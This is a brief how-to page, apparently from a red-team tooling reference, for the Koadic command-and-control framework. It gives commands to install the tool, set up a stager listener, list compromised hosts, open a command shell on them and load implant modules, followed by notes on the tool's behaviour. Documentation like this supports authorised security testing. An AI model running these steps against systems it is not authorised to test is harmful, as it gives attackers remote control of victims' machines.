> For the complete documentation index, see [llms.txt](https://howto.thec2matrix.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://howto.thec2matrix.com/c2/koadic.md).

# Koadic

## Install Koadic

```
cd /opt/
git clone https://github.com/zerosum0x0/koadic
cd koadic
apt-get install python3-pip
pip3 install -r requirements.txt
```

## Run Koadic

```bash
sudo koadic
```

### Listener

```bash
use stager/js/
set SRVHOST <IP>
set SRVPORT 443
run
```

### Interact

```bash
zombies
```

### Post Modules

```bash
cmdshell <zombie ID>
use implant/
set PAYLOAD 0
set ZOMBIE 0
```

## Notes

```
Spawns rundll32.exe
HTTP Long Polling https://www.pubnub.com/blog/http-long-polling/
Continuous connection
Logging in JSON: /opt/koadic/restores
Proxy awareness doesn’t work: https://github.com/zerosum0x0/koadic/issues/55
Stagers: 6
Implants: 44
```
